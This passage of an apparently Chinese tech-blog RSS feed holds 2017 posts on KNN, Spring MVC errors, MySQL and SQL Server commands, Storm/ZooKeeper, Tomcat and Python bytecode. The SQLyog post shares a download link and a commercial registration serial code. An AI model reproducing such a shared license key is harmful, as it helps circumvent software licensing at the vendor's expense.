的二维数组。&#xA;声明静态方法trainAllDate（），读取digits／trainingDigits目录下的各个文件，声明int[]型容器trainDigit用来存放各个训练样本数据，声明Integer类型容器存放各个训练样本标签。声明int[]容器testDigit存放各个测试数据，声明Integer类型容器testAnswer存放各个测试标签。声明Distance类，三个数据成员，分别为dis表示各个训练样本到某个测试样本的欧几里得距离的平方，n为各个训练样本的编号，ans为各个训练样本的标签。遍历整个testDigit，对每个测试数据，用一个Distance类型的容器存放它到各个样本数据的欧几里得距离的平方，声明Mycomparator实现了Comparator接口，实现了按Distance类型中的dis由小到大排序。最后取出前k个Distance实例的样本标签，就作为对该测试数据的预测结果。用一个Integer类型的容器TAnswer存放对各个测试数据的预测结果。最后与给出的测试标签相比较，计算出Knn算法预测的正确率。&#xA;在实验中，最开始采用了LinkedList容器存放样本数据，然后用索引进行遍历，速度慢的无法想象，后来改成ArrayList解决了该问题。&#xA;ArrayList是实现了基于动态数组的数据结构,LinkedList基于链表的数据结构。&#xA;当k=3时，946个测试数据中有934个预测正确，有最大的正确率0.9873150105708245。&#xA;运行结果：&#xA;k = 3&#xA;correctcase=934&#xA;sumcase=946&#xA;correctrate=0.9873150105708245&#xA;k = 4&#xA;correctcase=930&#xA;sumcase=946&#xA;correctrate=0.9830866807610994&#xA;k = 5&#xA;correctcase=927&#xA;sumcase=946&#xA;correctrate=0.9799154334038055&#xA;k = 6&#xA;correctcase=924&#xA;sumcase=946&#xA;correctrate=0.9767441860465116&#xA;k = 7</description>
    </item>
    <item>
      <title>关于解决No service of type Factory available in ProjectScopeServices的错误</title>
      <link>https://bchobby.github.io/posts/d286528099b71b0990a1a1ecaa4a8bfb/</link>
      <pubDate>Thu, 29 Jun 2017 15:01:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d286528099b71b0990a1a1ecaa4a8bfb/</guid>
      <description>最近在项目导入时，出现了如下错误：&#xA;打开文件锁定位置，发现好像是plugin出现了问题：&#xA;在google一下后，发现相关issue：http://www.jianshu.com/p/c4f4894ad215&#xA;将问题定位在根目录的build.gradle&#xA;只需要将classpath &#39;com.github.dcendents:android-maven-gradle-plugin:1.3&#39;更新到1.4.1就解决问题了，算是对自己一个总结，希望能够帮助遇到相同问题的朋友。</description>
    </item>
    <item>
      <title>sqlyog安装详细步骤</title>
      <link>https://bchobby.github.io/posts/3dff778f1bcdef203d147b34a638335c/</link>
      <pubDate>Thu, 29 Jun 2017 11:12:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dff778f1bcdef203d147b34a638335c/</guid>
      <description> mysql安装步骤请点击：Mysql5.6安装详细步骤&#xA;我的sqlyog百度云链接（永久有效）：http://pan.baidu.com/s/1i5j4GG9&#xA;密码获取请点击：获取密码&#xA;注册码序列号（Code）：8d8120df-a5c3-4989-8f47-5afc79c56e7c&#xA;如果使用sqlyog登陆报错的话请参考https://blog.csdn.net/lihua5419/article/details/80394716 感谢您的阅读。如果感觉文章对您有用，麻烦您动动手指点个赞，以资鼓励。谢谢！ </description>
    </item>
    <item>
      <title>Required String parameter is not present</title>
      <link>https://bchobby.github.io/posts/a180afff7e4bed04d6132ce8a52ed654/</link>
      <pubDate>Wed, 28 Jun 2017 19:56:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a180afff7e4bed04d6132ce8a52ed654/</guid>
      <description>页面报Required String parameter ‘loanOrderNbr’ is not present解决办法 问题描述： 前面代码（angularjs） var loanOrderNumber = $routeParams.loanOrderNumber; $scope.saveButton = true; $http.get(&#34;/test/business/order/viewDetail&#34;,{ params : { &#39;loanOrderNbr&#39; : loanOrderNbr } }).success(function(request,status){ // }).error(function (data, status) { // }); 后台代码(spring mvc) //查看数据 @RequestMapping(value = &#34;/viewDetail&#34;) @ResponseBody public AtResponse detail(@RequestParam(name = &#34;loadOrderNbr&#34;, required = true) String loadOrderNbr) { Map&amp;lt;String, Object&amp;gt; params = new HashMap&amp;lt;String, Object&amp;gt;(); AtResponse&amp;lt;TxnAcct&amp;gt; resp = new AtResponse(System.currentTimeMillis()); //..... return resp; } 页面报错信息 :8080/test/business/order/viewDetail?loanOrderNbr=201706091042631 Failed to load resource: the server responded with a status of 400 (Bad Request) 当时以为是前面angularjs代码写得有问题，然而仔细对比其他功能的写法，发现没有什么区别，只是传的参数不一样而矣，非常迷惑，不解。后台也不报错（没有输出spring日志），然后将请求链接直接在浏览器中访问： http://localhost:9770/test/business/order/viewDetail?</description>
    </item>
    <item>
      <title>SQLServer创建索引的5种方法</title>
      <link>https://bchobby.github.io/posts/792793b705e342d508b3c6900144862e/</link>
      <pubDate>Tue, 27 Jun 2017 21:16:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/792793b705e342d508b3c6900144862e/</guid>
      <description>前期准备：&#xA;create table Employee ( ID int not null primary key, Name nvarchar(4), Credit_Card_ID varbinary(max)); --- 小心这种数据类型。 go 说明：本表上的索引，都会在创建下一个索引前删除。&#xA;创建聚集索引 方法 1、 ALTER TABLE table_name ADD CONSTRAINT cons_name priamry KEY(columnname ASC|DESC,[.....]) WITH (drop_existing = ON); ALTER TABLE employee ADD CONSTRAINT pk_for_employee PRIMARY KEY CLUSTERED (id); go 这个是一种特别的方法，因为在定义主键的时候，会自动添加索引，好在加的是聚集索引还是非聚集索引是我们人为可以控制的。&#xA;通过sp_helpindex 可以查看表中的索引&#xA;execute sp_helpindex @objname = &#39;Employee&#39;; go 注意:这个索引是无法删除的，不信！ 你去删一下&#xA;drop index Employee.PK__Employee__3214EC277D95E615; go 方法 2、 create clustered index ix_name on table_name(columnName ASC|DESC[,.</description>
    </item>
    <item>
      <title>mysql命令行的导入导出sql,txt,excel（都在linux或windows命令行操作）</title>
      <link>https://bchobby.github.io/posts/704490a8183d3dca6d145394d4674747/</link>
      <pubDate>Tue, 27 Jun 2017 17:15:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/704490a8183d3dca6d145394d4674747/</guid>
      <description>Mysql导入导出sql,txt,excel&#xA;首先我们通过命令行进入到mysql安装目录的bin目录下，比如我输入的命令行为：&#xA;d:&#xA;cd D:/wamp/bin/mysql/mysql5.6.17/bin&#xA;一、导入导出sql( linux或windows命令行方式 )&#xA;mysql采用（linux或者windows）命令行方式,导入导出数据库，数据表，字段,&#xA;mysql的bin中提供了两个指令，mysqldump以及resource,分别用于导出和导入。&#xA;(1)导出sql&#xA;mysqldump-u root -p 数据库名&amp;gt; question.sql 导出数据库(输入后会让你输入进入MySQL的密码)&#xA;mysqldump-u root -p 数据库名 数据表名&amp;gt; question.sql 导出数据表(输入后会让你输入进入MySQL的密码)&#xA;mysql-u root -p 数据库名 -e &#34;select 字段1,字段2,字段3 from 数据表名 order by 字段1 asc into outfile&#39;D:/question.sql&#39;&#34;;&#xA;导出数据表的某些指定字段(输入后会让你输入进入MySQL的密码)&#xA;(2)导入sql&#xA;source 导入的文件名;&#xA;比如我要导入我刚导出的atm.sql数据文件： source D:/question.sql;&#xA;二、导入导出txt或excel（sql语句方式）&#xA;----------建议导入和导出都用excel----------&#xA;1、导入将excel存储为txt,然后用记事本打开txt,将该txt另存为utf8编码的txt文件&#xA;2、导出txt,然后另存txt文件为unicode编码，再修改后缀.txt为.xls&#xA;mysql –uroot –p 输入数据库密码&#xA;use 数据库名&#xA;(1) 导出txt或者excel&#xA;select `title`,`word_answer`,`right_answer`,`qgid`&#xA;into outfile &#34;C:/Users/Administrator/Desktop/output.txt&#34; //lines terminated by&#34;/r/n&#34; 导成txt或者excel这句不要&#xA;from `xy_question` where `id` in (1,2,3);</description>
    </item>
    <item>
      <title>当storm报错：Could not find leader nimbus from seed hosts [&#34;127.0.0.1&#34;]解决办法</title>
      <link>https://bchobby.github.io/posts/02f2f069bb3320dd093324c4504c0b3c/</link>
      <pubDate>Mon, 26 Jun 2017 11:21:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02f2f069bb3320dd093324c4504c0b3c/</guid>
      <description> 解决方式： 删除zookeeper下的storm节点数据，重启zookeeper，重新发布topology到storm集群即可。 zk操作方式： 首先到zookeeper目录/bin下面，执行&#xA;./bin/zkCli.sh -server [ip]:[port] 例如：&#xA;./bin/zkCli.sh -server 192.168.0.10:2181 如果在本机且端口为默认的2181，可直接输入&#xA;./bin/zkCli.sh 然后输入命令：&#xA;ls / 显示&#xA;[zookeeper, storm] 执行命令删除：&#xA;rmr /storm </description>
    </item>
    <item>
      <title>关于使用spring mvc时出现 HTTP Status 400 - Required String parameter &#39;xx&#39; is not present</title>
      <link>https://bchobby.github.io/posts/3ffbf207e4df096b2ea4c11cca0ffc68/</link>
      <pubDate>Sat, 24 Jun 2017 13:51:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ffbf207e4df096b2ea4c11cca0ffc68/</guid>
      <description>先记录一下这个错误 1、后台使用sring mvc的@RequestParam接受form表单提交的两个参数 2、使用Postman测试接口，可以看到在使用默认的form-data类型时出现了 HTTP Status 400 - Required String parameter ‘xx’ is not present 这个错误 3、更换成x-www-form-urlencoded类型时返回成功 4、如果使用@RequestBody接收参数，同@RequestParam一样，都是需要设置x-www-form-urlencoded类型才能正确返回。&#xA;再来分析一下这个错误的原因 1、先来看一下@RequestBody和@RequestParam的区别&#xA;@RequestParam A） 常用来处理简单类型的绑定，通过Request.getParameter() 获取的String可直接转换为简单类型的情况（由String到简单类型的转换操作由ConversionService配置的转换器来完成）；因为使用request.getParameter()方式获取参数，所以可以处理get方式中queryString的值，也可以处理post方式中 body data的值。B）用来处理Content-Type: 为application/x-www-form-urlencoded编码的内容，提交方式GET、POST。(不设置这个属性，这就是默认值)C) 该注解有两个属性： value、required； value用来指定要传入值的id名称，required用来指示参数是否必须绑定。 在方法参数里面如是：public @ResponseBody JsonResultgetPublishedToposByConnStreamId(@RequestParam(value = “streamId”, required = false) String streamId) {} @RequestBody&#xA;A) GET、POST方式提时， 根据request header Content-Type的值来判断:application/x-www-form-urlencoded， 可选（即非必须，因为这种情况的数据@RequestParam,@ModelAttribute也可以处理，当然@RequestBody也能处理）；multipart/form-data, 不能处理（次类型多用来上传文件类型—即使用@RequestBody不能处理这种格式的数据,@RequestParam这个却是可以处理的。）；其他格式， 必须（其他格式包括application/json, application/xml等。这些格式的数据，必须使用@RequestBody来处理）；B) PUT方式提交时， 根据request header Content-Type的值来判断:application/x-www-form-urlencoded， 必须；multipart/form-data, 不能处理；其他格式， 必须；说明：request的body部分的数据编码格式由header部分的Content-Type指定； 总结： @RequestBody这个一般处理的是在ajax请求中声明contentType: “application/json; charset=utf-8”时候。也就是json数据或者xml(我没用过这个，用的是json) @RequestParam这个一般就是在ajax里面没有声明contentType的时候，为默认的urlencode格式时，用这个。&#xA;2、spring mvc其他的参数绑定的注释 handler method 参数绑定常用的注解,一般根据他们处理的Request的不同内容部分分为四类：（主要讲解常用类型）&#xA;A、处理requet uri 部分（这里指uri template中variable，不含queryString部分）的注解： @PathVariable;B、处理request header部分的注解： @RequestHeader, @CookieValue;C、处理request body部分的注解：@RequestParam, @RequestBody;D、处理attribute类型是注解： @SessionAttributes, @ModelAttribute; 3、关于http中的Content-Type MediaType，即是Internet Media Type，互联网媒体类型；也叫做MIME类型，在Http协议消息头中，使用Content-Type来表示具体请求中的媒体类型信息。</description>
    </item>
    <item>
      <title>DataTable插件报错：Uncaught TypeError: Cannot read property &#39;style&#39; of undefined</title>
      <link>https://bchobby.github.io/posts/34ea377b0f623c53635c9a24e0736751/</link>
      <pubDate>Tue, 20 Jun 2017 16:23:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34ea377b0f623c53635c9a24e0736751/</guid>
      <description>DataTable插件报错：Uncaught TypeError: Cannot read property &#39;style&#39; of undefined 原因：table 中定义的列和aoColumns数据表的项数量对不上：比如下面： &amp;lt;table class=&#34;table dataTable &#34;&amp;gt; &amp;lt;thead&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;th&amp;gt;列1&amp;lt;/th&amp;gt; &amp;lt;th&amp;gt;列2&amp;lt;/th&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/thead&amp;gt; &amp;lt;tbody&amp;gt; &amp;lt;/tbody&amp;gt; &amp;lt;/table&amp;gt; &#34;aoColumns&#34;: [ { &#34;mDataProp&#34;: &#34;uuid&#34;, &#34;sDefaultContent&#34;: &#34;&#34;, &#34;fnRender&#34;: function (obj) { var sReturn = &#34;&amp;lt;input type=&#39;checkbox&#39; name=&#39;check&#39; value=&#39;&#34; + obj.aData.uuid + &#34;&#39; /&amp;gt;&#34;; return sReturn; } }, { &#34;mDataProp&#34;: &#34;warehouseName&#34;, &#34;sDefaultContent&#34;: &#34;&#34;, &#34;sTitle&#34;: &#34;&amp;lt;aebiz:showTitle titleId=&#34;productsuresalestock.m.warehouseName&#34;/&amp;gt;&#34; }, { &#34;mDataProp&#34;: &#34;warehouseNo&#34;, &#34;sDefaultContent&#34;: &#34;&#34;, &#34;sTitle&#34;: &#34;&amp;lt;aebiz:showTitle titleId=&#34;productsuresalestock.m.warehouseNo&#34;/&amp;gt;&#34; }] 关注本人微信公众号，目前已经发布了完整Docker教程，未来继续努力分享更多资源给您，谢谢！</description>
    </item>
    <item>
      <title>将Office（如：Word、Excel、PPT 等）文件转PDF（通过OpenOffice实现）</title>
      <link>https://bchobby.github.io/posts/6cb811e06e21eff5b3379d72810e485d/</link>
      <pubDate>Tue, 20 Jun 2017 12:20:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6cb811e06e21eff5b3379d72810e485d/</guid>
      <description>这里简单介绍下OpenOffice&#xA;OpenOffice.org 是一套跨平台的办公室软件套件，能在Windows、linux、MacOS X (X11) 和 Solaris 等操作系统上执行。它与各个主要的办公室软件套件兼容。 OpenOffice.org 是自由软件，任何人都可以免费下载、使用及推广它。 需要注意: Java环境下操作OpenOffice 要使用 JodConverter。 需要在服务器中安装OpenOffice 点击下载JodConverter&#xA;OpenOffice工具大家可以去官网下载，文件比较大我这里没办法分享&#xA;安装好OpenOffice跟JodConverter的jar包导入后，就开始编码吧。&#xA;下面我直接贴代码&#xA;import java.io.File; import org.artofsolving.jodconverter.OfficeDocumentConverter; import org.artofsolving.jodconverter.office.DefaultOfficeManagerConfiguration; import org.artofsolving.jodconverter.office.OfficeManager; import org.springframework.util.StringUtils; /** * 这是一个工具类，主要是为了使Office2003-2007全部格式的文档(.doc|.docx|.xls|.xlsx|.ppt|.pptx) * 转化为pdf文件 * Office2010的没测试 * @author ZhouMengShun */ public class Office2PDF { /** * 使Office2003-2007全部格式的文档(.doc|.docx|.xls|.xlsx|.ppt|.pptx) 转化为pdf文件 * @param inputFilePath 源文件路径,如：&#34;D:/论坛.docx&#34; * @return */ public static File openOfficeToPDF(String inputFilePath) { return office2pdf(inputFilePath); } /** * 根据操作系统的名称，获取OpenOffice.org 4的安装目录&amp;lt;br&amp;gt; * 如我的OpenOffice.</description>
    </item>
    <item>
      <title>机器学习实战-K近邻算法（KNN）</title>
      <link>https://bchobby.github.io/posts/754cfcf3bcca8508c97b7e3764fc1f72/</link>
      <pubDate>Mon, 19 Jun 2017 16:11:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/754cfcf3bcca8508c97b7e3764fc1f72/</guid>
      <description>1、算法概述&#xA;最简单的分类器是把全部的训练数据所对应的特征和标签都记录下来，当测试数据的特征和某个训练样本的特征完全匹配时，便可以给测试数据打上该训练样本的标签，但是我们无法保证所有的测试对象都能在训练数据集中找到与之唯一对应的标签，可能该标签不存在或者存在多个不同的标签，基于这些问题产生了K近邻算法（KNN）。&#xA;2、工作原理&#xA;存在一个样本数据集，并且每个样本数据都存在标签（称作训练数据集），当输入不带标签的数据后，将新数据和训练数据集的特征进行比较，如果新数据与特征空间中的k个训练样本属于同一个类别，则该样本也属于这个类别，通常K的取值不大于20。&#xA;3、算法原理&#xA;对未知标签的数据集（测试数据集）中的每个点依次执行如下的操作；&#xA;1) 计算已知类别数据集中的点与当前点之间的距离；2)按照距离递增次序排序 ；3) 选取与当前点距离最小的K个点；4) 确定前K个点所在类别的出现频率；5) 返回前K个点出现频率最高的类别标签作为当前点的预测分类。&#xA;4、实战&#xA;1、对未知数据进行分类&#xA;from numpy import * import operator # 训练样本数据 def createDataSet(): group = array([[1.0, 1.1], [1.0, 1.0], [0, 0], [0, 0.1]]) labels = [&#34;A&#34;, &#34;A&#34;, &#34;B&#34;, &#34;B&#34;] return group, labels def classify0(inX, dataSet, labels, k): &#34;&#34;&#34; # int_x, 分类数据 # data_set, 训练样本集 # labels, 标签向量 # K, 用于选择最近邻居的数目 &#34;&#34;&#34; # dataSet训练数据的行数 dataSetSize = dataSet.shape[0] # 将数据拓展成和训练数据相同行数和列数的矩阵。计算差值矩阵 diffMat = tile(inX, (dataSetSize, 1)) - dataSet # 差值矩阵的平方 sqDiffMat = diffMat ** 2 # 计算矩阵中每一行元素之和,axis=1表示矩阵跨列求和 sqDistance = sqDiffMat.</description>
    </item>
    <item>
      <title>还是安利几本书，关于操作系统和计算机组成原理的</title>
      <link>https://bchobby.github.io/posts/8c9bf95f80e4efb1968b7ff247ce624b/</link>
      <pubDate>Sun, 18 Jun 2017 13:01:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c9bf95f80e4efb1968b7ff247ce624b/</guid>
      <description>-《编码》这本书从电学的基本原理（初中物理的水平）讲到操作系统构建等等，可以解开很多疑惑。 -《深入理解计算机操作系统》把计算机系统说了个透，但属于入门书籍，看后还是有很多问题未解决的。 -《穿越计算机的迷雾》和《编码》类似从浅显道理出发，解释现代计算机的构建 -《数字设计原理与实践》属于底层数字电路设计的书，主要用于集成电路，很偏向底层的书籍，里面所讲到的能用到都是大牛啊。</description>
    </item>
    <item>
      <title>echarts图表坐标刻度过多如何设置刻度间隔（interval）以及配置说明</title>
      <link>https://bchobby.github.io/posts/fea7aa8f488470feab462499adc04b50/</link>
      <pubDate>Tue, 13 Jun 2017 17:14:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fea7aa8f488470feab462499adc04b50/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; http://www.sxrczx.com/pages/www.stepday.com/topic/883.html&#xA;xAxis.axisLabel.interval number, Function [ default: &#39;auto&#39; ] 坐标轴刻度标签的显示间隔，在类目轴中有效。 默认会采用标签不重叠的策略间隔显示标签。 可以设置成 0 强制显示所有标签。 如果设置为 1，表示『隔一个标签显示一个标签』，如果值为 2，表示隔两个标签显示一个标签，以此类推。 可以用数值表示间隔的数据，也可以通过回调函数控制。回调函数格式如下： (index:number, value: string) =&amp;gt; boolean 第一个参数是类目的 index，第二个值是类目名称，如果跳过则返回 false。&#xA;转载于:https://my.oschina.net/yiqifendou/blog/920418</description>
    </item>
    <item>
      <title>关于Markdown里的图片并排显示</title>
      <link>https://bchobby.github.io/posts/90b950de45bfd4d751679b3193a3ee75/</link>
      <pubDate>Mon, 12 Jun 2017 22:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90b950de45bfd4d751679b3193a3ee75/</guid>
      <description>Markdown里的图片并排显示 最近写文章的时候发现，在markdown里插入一些很长的图片的时候，会显得很不好看，于是去查了一下如何实现markdown里图片的并排显示，参考了下面博客内的内容，方法如下：&#xA;单张居中显示： &amp;lt;center&amp;gt; &amp;lt;img src=&#34;http://dreamofbook.qiniudn.com/Zero.png&#34;&amp;gt; &amp;lt;/center&amp;gt; OR &amp;lt;figure&amp;gt; &amp;lt;img src=&#34;http://xxx.jpg&#34;&amp;gt; &amp;lt;/figure&amp;gt; 固定图片宽度/高度： &amp;lt;img src=&#34;http://xxx.jpg&#34; title=&#34;Logo&#34; width=&#34;100&#34; /&amp;gt; 宽度是 Width，高度是 High。Title 为图片描述。&#xA;两张并排显示： &amp;lt;figure class=&#34;half&#34;&amp;gt; &amp;lt;img src=&#34;http://xxx.jpg&#34;&amp;gt; &amp;lt;img src=&#34;http://yyy.jpg&#34;&amp;gt; &amp;lt;/figure&amp;gt; 三张并排显示： &amp;lt;figure class=&#34;third&#34;&amp;gt; &amp;lt;img src=&#34;http://xxx.jpg&#34;&amp;gt; &amp;lt;img src=&#34;http://yyy.jpg&#34;&amp;gt; &amp;lt;img src=&#34;http://zzz.jpg&#34;&amp;gt; &amp;lt;/figure&amp;gt; 固定宽度，并排显示并居中 就是把上面的几个例子和起来，下面给出代码&#xA;&amp;lt;center class=&#34;half&#34;&amp;gt; &amp;lt;img src=&#34;http://xxx.jpg&#34; width=&#34;300&#34;/&amp;gt; &amp;lt;img src=&#34;http://yyy.jpg&#34; width=&#34;300&#34;/&amp;gt; &amp;lt;/center&amp;gt; 参考资料 上面的基本是我在下面这个博客上看到的，非常不错，推荐给大家 Markdown 简明语法参考&#xA;以上，所有 2017/6/12&#xA;转载于:https://www.cnblogs.com/wmn7q/p/7265488.html</description>
    </item>
    <item>
      <title>SpringBoot事务管理：声明式事务和编程式事务。将Service层的事务执行结果传递出去</title>
      <link>https://bchobby.github.io/posts/5b9a3e21a49bc9c3995d084ea6cb4192/</link>
      <pubDate>Mon, 12 Jun 2017 16:50:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b9a3e21a49bc9c3995d084ea6cb4192/</guid>
      <description>在SpringBoot中使用事务很简单，这一篇不是为了讲事务，主要是讲一下一个工具类，将需要加入事务的Service层代码作为参数传递出去并返回事务的执行结果（成功和回滚）。&#xA;声明式事务 在SpringBoot中声明式事务最常见，就是把需要事务的方法用@Transactional标注一下就行了，这个一般用在Service层。标注后该方法就具备了事务的能力，出错了会自动回滚。 在大部分场景下，该方法已经够用了。 编程式事务 在有些场景下，我们需要获取事务的状态，是执行成功了还是失败回滚了，那么使用声明式事务就不够用了，需要编程式事务。 在SpringBoot中，可以使用两种编程式事务。 一个是TransactionTemplate 看名字就知道，又是一个类似于RedisTemplate的模板类。使用很简单，是一个回调。 transactionTemplate.execute(new TransactionCallback() { @Override public Object doInTransaction(TransactionStatus transactionStatus) { try { userRepository.save(user); for (int i = 0; i &amp;lt; 10; i++) { Post post = new Post(); if (i == 5) { post.setContent(&#34;dddddddddddddddddddddddddddddddddddddddddddd&#34;); } else post.setContent(&#34;post&#34; + i); post.setWeight(i); postService.save(post); } } catch (Exception e) { transactionStatus.isRollbackOnly(); e.printStackTrace(); } return null; } });在doIntransaction里做逻辑处理即可。如果出异常了，就执行isRollbackOnly方法进行回滚。感觉这个比较鸡肋，还不如注解事务来的方便，也不能把事务执行结果同步返回回去。 二是TransactionManager TransactionStatus status = transactionManager.getTransaction(new DefaultTransactionDefinition()); try { for (int i = 0; i &amp;lt; 10; i++) { Post post = new Post(); if (i == 5) { post.</description>
    </item>
    <item>
      <title>TREAP示例代码（排序）</title>
      <link>https://bchobby.github.io/posts/77093a49ab4eef3dbeac7ae107cc70a0/</link>
      <pubDate>Sun, 11 Jun 2017 21:33:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77093a49ab4eef3dbeac7ae107cc70a0/</guid>
      <description>#include&amp;lt;iostream&amp;gt; #include&amp;lt;cstdio&amp;gt; #include&amp;lt;cstdlib&amp;gt; using namespace std; struct node{ int v,w; node *f,*l,*r; node(){ v=0;w=rand();f=l=r=NULL; } }; node *root; void zig(node *h,node *p){ node *t=h-&amp;gt;f; h-&amp;gt;l=p-&amp;gt;r;&#x9;if(p-&amp;gt;r)p-&amp;gt;r-&amp;gt;f=h; p-&amp;gt;r=h;&#x9;h-&amp;gt;f=p; if(t){ if(h==t-&amp;gt;l)t-&amp;gt;l=p; else t-&amp;gt;r=p; }else root=p; p-&amp;gt;f=t; } void zag(node *h,node *p){ node *t=h-&amp;gt;f; h-&amp;gt;r=p-&amp;gt;l;&#x9;if(p-&amp;gt;l)p-&amp;gt;l-&amp;gt;f=h; p-&amp;gt;l=h;&#x9;h-&amp;gt;f=p; if(t){ if(h==t-&amp;gt;l)t-&amp;gt;l=p; else t-&amp;gt;r=p; }else root=p; p-&amp;gt;f=t; } void insert(node *h,node *p){ if(p-&amp;gt;v&amp;gt;h-&amp;gt;v){ if(h-&amp;gt;r==NULL){ h-&amp;gt;r=p;&#x9;p-&amp;gt;f=h; while(p-&amp;gt;f!=NULL &amp;amp;&amp;amp; p-&amp;gt;w&amp;lt;p-&amp;gt;f-&amp;gt;w){ if(p==p-&amp;gt;f-&amp;gt;l)zig(p-&amp;gt;f,p); else zag(p-&amp;gt;f,p); } }else insert(h-&amp;gt;r,p);&#x9;}else{ if(h-&amp;gt;l==NULL){ h-&amp;gt;l=p;p-&amp;gt;f=h; while(p-&amp;gt;f!</description>
    </item>
    <item>
      <title>Tomcat8 目录结构</title>
      <link>https://bchobby.github.io/posts/47cbdccce34b8290274d02f29ba67636/</link>
      <pubDate>Fri, 09 Jun 2017 09:58:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47cbdccce34b8290274d02f29ba67636/</guid>
      <description>bin : Tomcat8.0-doc对这个目录的简单说明为： /bin - Startup, shutdown, and other scripts. The .sh files (for Unix systems) are functional duplicates of the .bat files (for Windows systems). Since the Win32 command-line lacks certain functionality, there are some additional files in here.&#xA;即该目录存放了tomcat启动、关闭以及其他的一些脚本&#xA;conf ： /conf - Configuration files and related DTDs. The most important file in here is server.xml. It is the main configuration file for the container.&#xA;存放Tomcat服务器的各种全局配置文件，其中包括server.xml（Tomcat的主要配置文件）、tomcat-users.xml和web.xml等配置文件&#xA;server.xml：配置整个服务器信息。例如修改端口号，添加虚拟主机等；tomcatusers.xml：存储tomcat用户的文件，这里保存的是tomcat的用户名及密码，以及用户的角色信息。可以按着该文件中的注释信息添加tomcat用户，然后就可以在Tomcat主页中进入Tomcat Manager页面了；web.</description>
    </item>
    <item>
      <title>Python运行机制以及pyc/pyo文件的作用</title>
      <link>https://bchobby.github.io/posts/ccd653ca44def020b2ff2469f5643e78/</link>
      <pubDate>Thu, 08 Jun 2017 12:22:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccd653ca44def020b2ff2469f5643e78/</guid>
      <description>作者：知乎用户 链接：https://www.zhihu.com/question/30296617/answer/112564303 来源：知乎 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。&#xA;作为Python爱好者，需要了解.py脚本的基本运行机制及特性： 在很多工作上Python的运行流程基本上取决于用户，因此源码不需要编译成二进制代码（否则无法实现大部分贴近用户的特性），而直接从源码运行程序。当我们运行python文件程序的时候，Python解释器将源码转换为字节码，然后再由解释器来执行这些字节码。因此总的来说，它具有以下三条特性&#xA;源码距离底层更远（根据官方文档的解释。不说，你们也感觉得到）(。・`ω´・)运行时都需要生成字节码，交由虚拟机执行。（你们问我虚拟机在哪儿？！你们也不看看各自都是用什么软件执行的！没错，就是解释器，别和我说是IDLE啊。虚拟机具体实现了由switch-case语句构成的框架函数PyEval_EvalFrameEx，刚刚说的字节码就是这货执行的）每次执行脚本，虚拟机总要多出加载和链接的流程。（所以呢，相比于编译型语言就有点慢了。这与“有丝分裂间期”一样，准备东西也要花时间啊！） 那么，有人要问了：“不是说，运行时总要生成字节码么！那，字节码都去哪儿了？” 咳咳，别急！容我先说说，虚拟机它是怎么执行脚本的（咕噜咕噜喝杯水…）：&#xA;完成模块的加载和链接；将源代码翻译为PyCodeObject对象（这货就是字节码），并将其写入内存当中（方便CPU读取，起到加速程序运行的作用）；从上述内存空间中读取指令并执行；程序结束后，根据命令行调用情况（即运行程序的方式）决定是否将PyCodeObject写回硬盘当中（也就是直接复制到.pyc或.pyo文件中）；之后若再次执行该脚本，则先检查本地是否有上述字节码文件。有则执行，否则重复上述步骤。 你看！在我们点击（或输入命令）运行脚本，并悠闲地喝咖啡时，“人家”虚拟机做了这么多的事情。不过，你有没有发现.pyc或.pyo文件是否生成，是取决于我们如何运行程序的（虽然我们不知道要怎么做（ง •̀_•́）ง ）。 同样，有人会吐槽：“哼！为什么不直接生成这些文件，这样来得不是‘更快、更高、更强’！” 其实，虚拟机也是讲究效率的。毕竟对于比较大的项目，要将PyCodeObject写回硬盘也是不可避免地要花些时间的，而且它又不知道你是不是也就只执行一次，之后就对刚刚跑完的脚本“弃之不顾”了呢。不过，它其实也有贴心的一面。比如，&#xA;若你在命令行直接输入“python path/to/projectDir”（假设projectDir目录含有“main.py”文件，以及其他将要调用的模块），那么程序运行结束后便自动为当前目录下所有的脚本生成字节码文件，并保存于本地新文件夹pycache当中。（这也有可能是IDE写小项目时自动生成.pyc文件的原因，不过问题描述略微暧昧。详情参见上面知乎问题板块） 或者是，在命令行输入“python path/to/projectDir/main.py”，则生成除main.py外脚本的字节码文件。不过总的来说，上述这两种行为都大大缩短了项目运行前的准备时间（毕竟分工明确的程序，规模应该不会太小，复用率也不会太低。除非吃饱了撑着，搞出这么多事情(Θ皿Θメ)）&#xA;模块在每次导入前总会检查其字节码文件的修改时间是否与自身的一致。若是则直接从该字节码文件读取内容，否则源模块重新导入，并在最后生成同名文件覆盖当前已有的字节码，从而完成内容的更新（详见import.py）。这样，就避免了修改源代码后与本地字节码文件产生冲突（当然，设计者也不会这么傻。╮(￣▽￣”)╭）。 若想优化生成字节码，应注意这两点：&#xA;.pyc文件是由.py文件经过编译后生成的字节码文件，其加载速度相对于之前的.py文件有所提高，而且还可以实现源码隐藏，以及一定程度上的反编译。比如，Python3.3编译生成的.pyc文件，Python3.4就别想着去运行啦！→_→.pyo文件也是优化（注意这两个字，便于后续的理解）编译后的程序（相比于.pyc文件更小），也可以提高加载速度。但对于嵌入式系统，它可将所需模块编译成.pyo文件以减少容量。 但总的来说，作用上是几乎与原来的.py脚本没有区别的，也就是“然并卵 ”（当然，并非毫无作用。比如，我个人觉得用处最大的地方就是防止别人偷看我的代码。(:з」∠)毕竟.py源文件是直接以源码的形式呈现给大家的）。╮(╯▽╰)╭ 